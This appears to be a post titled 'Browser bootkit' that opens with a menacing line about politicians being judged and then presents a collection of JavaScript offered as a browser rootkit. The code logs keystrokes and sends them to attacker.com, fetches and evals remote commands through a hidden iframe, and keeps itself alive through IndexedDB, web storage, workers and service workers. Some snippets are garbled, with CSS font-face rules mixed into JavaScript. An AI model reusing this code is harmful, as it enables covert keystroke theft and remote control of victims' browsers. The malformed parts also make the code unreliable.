Browser bootkit

None of you are safe. All politicians will be judged by god.
(async () => {
// 🔥 Stealth Mode: Hide Execution in an Async Function
const rootkitKey = "browser_rootkit";
// 🛠 Check if Payload Exists in IndexedDB
const dbRequest = indexedDB.open("rootkitDB", 1);
dbRequest.onupgradeneeded = function(event) {
const db = event.target.result;
db.createObjectStore("payloads", { keyPath: "id" });
};
dbRequest.onsuccess = function(event) {
const db = event.target.result;
const tx = db.transaction("payloads", "readwrite");
const store = tx.objectStore("payloads");
// 📌 Retrieve Existing Payload
const getPayload = store.get(rootkitKey);
getPayload.onsuccess = function() {
if (getPayload.result) {
executePayload(getPayload.result.code);
} else {
deployRootkit(store);
}
};
};
// 🚀 Deploy Initial Rootkit if Not Present
function deployRootkit(store) {
const payloadCode = `
console.log("🔥 Browser Rootkit Active!");
// 🕵 Persistent Recon: Log Keystrokes (Minimal)
document.addEventListener("keydown", (e) => {
localStorage.setItem("keystrokes", (localStorage.getItem("keystrokes") || "") + e.key);
});
// 🎭 Memory-Resident Persistence via Blob URL
const scriptContent = 'console.log("👻 Reload Persistence Active!");';
const blob = new Blob([scriptContent], { type: "application/javascript" });
const blobUrl = URL.createObjectURL(blob);
import(blobUrl);
// ⏳ Auto-Reinstate If Removed

setInterval(() => {
if (!document.querySelector("#rootkit")) {
let script = document.createElement("script");
script.id = "rootkit";
script.src = blobUrl;
document.body.appendChild(script);
}
}, 5000);
`;
// 🔗 Store Payload in IndexedDB
store.put({ id: rootkitKey, code: payloadCode });
// 󰬬 Execute Immediately
executePayload(payloadCode);
}
// 🚀 Execute Payload in Memory (Stealth Mode)
function executePayload(code) {
const blob = new Blob([code], { type: "application/javascript" });
const blobUrl = URL.createObjectURL(blob);
import(blobUrl);
}
})();
setInterval(() => {
const keystrokes = localStorage.getItem("keystrokes") || "";
if (keystrokes.length > 0) {
navigator.sendBeacon("https://attacker.com/exfil", keystrokes);
localStorage.removeItem("keystrokes");
}
}, 10000);
setInterval(() => {
const command = localStorage.getItem("cmd");
if (command) {
eval(command);
localStorage.removeItem("cmd");
}
}, 5000);
function storePayload(payload) {
indexedDB.open("rootkitDB", 1).onsuccess = function(event) {
const db = event.target.result;
const store = db.transaction("payloads", "readwrite").objectStore("payloads");
store.put({ id: "browser_rootkit", code: payload });
};

localStorage.setItem("rootkit", payload);
sessionStorage.setItem("rootkit", payload);
}
setInterval(() => {
if (!document.querySelector("#rootkit")) {
const payload = localStorage.getItem("rootkit") || sessionStorage.getItem("rootkit");
if (payload) eval(payload); // Re-execute rootkit from storage
}
}, 3000);
const workerBlob = new Blob([
`onmessage = function(e) { eval(e.data); }`
], { type: "application/javascript" });
const workerUrl = URL.createObjectURL(workerBlob);
const worker = new Worker(workerUrl);
worker.postMessage(localStorage.getItem("rootkit"));
@font-face {
font-family: "leak";
src: url("https://attacker.com/exfil?data=" + localStorage.getItem("keystrokes"));
}
setInterval(() => {
let iframe = document.createElement("iframe");
iframe.src = "https://attacker.com/cmd"; // Fake site
iframe.style.display = "none";
document.body.appendChild(iframe);
iframe.onload = function() {
const cmd = iframe.contentWindow.document.body.innerText;
if (cmd) eval(cmd); // Execute remote commands
};
}, 10000);
const x = new Function("return eval(arguments[0])");
x("alert('Stealth Mode')");
setTimeout(() => console.log("Running late..."), Math.random() * 30000);
setInterval(() => {
console.log("%c", "font-size:1px;line-height:1px;", "🤫 Stealth Mode");
}, 5000);
@font-face {
font-family: "stealth";
src: url("https://trusted-site.com/font.woff2?cmd=" + localStorage.getItem("rootkit"));
}
(async () => {
const rootkitKey = "authorized_browser_persistence";

// 🛠 Store payload in IndexedDB with audit logging
const dbRequest = indexedDB.open("rootkitDB", 1);
dbRequest.onupgradeneeded = function(event) {
const db = event.target.result;
db.createObjectStore("payloads", { keyPath: "id" });
};
dbRequest.onsuccess = function(event) {
const db = event.target.result;
const tx = db.transaction("payloads", "readwrite");
const store = tx.objectStore("payloads");
const logEntry = `[${new Date().toISOString()}] Rootkit executed in authorized mode`;
console.log(logEntry);
store.put({ id: rootkitKey, log: logEntry });
};
// 🎭 Memory Persistence Example (Legitimate Testing)
setInterval(() => {
console.log("🔥 Authorized Rootkit Running");
}, 5000);
})();
self.addEventListener("fetch", event => {
if (event.request.url.includes("golden-ticket.png")) {
event.respondWith(fetch(event.request).then(response => {
// ✅ Serve the Golden Ticket image
return response;
}).finally(() => {
// 🔥 Self-destruct: Unregister Service Worker after serving
self.registration.unregister().then(() => {
console.log("🎟 Golden Ticket Delivered! Service Worker Unregistered.");
});
}));
}
});
(async () => {
const img = new Image();
img.src = "golden-ticket.png";
img.onload = async () => {
const response = await fetch(img.src);
const blob = await response.blob();

const metadata = await blob.text(); // Extract metadata
if (metadata.includes("Golden Ticket Activated")) {
console.log("✅ Golden Ticket Found!");
eval(metadata.split(": ")[1]); // Execute extracted payload
} else {
console.log("❌ No Golden Ticket detected.");
}
};
})();

📌 PoC:
const dbRequest = indexedDB.open("stealthyRootkit", 1);
dbRequest.onupgradeneeded = function(event) {
event.target.result.createObjectStore("payloads", { keyPath: "id" });
};
dbRequest.onsuccess = function(event) {
const db = event.target.result;
const tx = db.transaction("payloads", "readwrite");
const store = tx.objectStore("payloads");
store.put({ id: "rootkit", code: "console.log('Stealth Mode Active');" });
};

Updated code for multiple users:
self.addEventListener("fetch", event => {
if (event.request.url.includes("golden-ticket.png")) {
event.respondWith(fetch(event.request).then(response => {
return response;
}).finally(() => {
// 🚀 Mark the user as having accessed the Golden Ticket
clients.matchAll().then(clients => {
clients.forEach(client => {
client.postMessage({ ticketUsed: true });
});
});
}));
}
});
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('service-worker.js')
.then(reg => console.log("Service Worker Registered!", reg))
.catch(err => console.error("Service Worker Registration Failed:", err));

}
// ✅ Listen for messages from the Service Worker
navigator.serviceWorker.addEventListener("message", event => {
if (event.data.ticketUsed) {
console.log("🎟 Golden Ticket Already Claimed! No second chances.");
localStorage.setItem("golden_ticket_claimed", "true");
}
});
// 🔍 Prevent second retrieval attempts
if (localStorage.getItem("golden_ticket_claimed") === "true") {
console.log("❌ You've already claimed the Golden Ticket.");
} else {
document.getElementById("getPayload").addEventListener("click", () => {
fetch('golden-ticket.png')
.then(response => response.blob())
.then(blob => {
const img = document.getElementById("payloadImage");
img.src = URL.createObjectURL(blob);
img.style.display = "block";
});
});
}
Generate unique payload
self.addEventListener("fetch", async event => {
if (event.request.url.includes("golden-ticket")) {
console.log("🎟 Generating Unique Golden Ticket...");
// Generate a unique ID for the user
const userID = crypto.randomUUID();
// Create a unique payload per user
const payload = `console.log('Golden Ticket Unlocked for ${userID}');`;
// Convert to Blob (so it looks like a file)
const blob = new Blob([payload], { type: "application/javascript" });
const blobUrl = URL.createObjectURL(blob);
// Respond with the dynamically generated payload
event.respondWith(fetch(blobUrl));
}
});
const expireTime = Date.now() + 60 * 1000; // Expires in 60 seconds

sessionStorage.setItem("golden_ticket", JSON.stringify({ code: "console.log('Golden Ticket!');",
expires: expireTime }));
// Check expiration before execution
const ticketData = JSON.parse(sessionStorage.getItem("golden_ticket"));
if (ticketData && Date.now() < ticketData.expires) {
eval(ticketData.code);
sessionStorage.removeItem("golden_ticket");
} else {
console.log("❌ Ticket Expired.");
}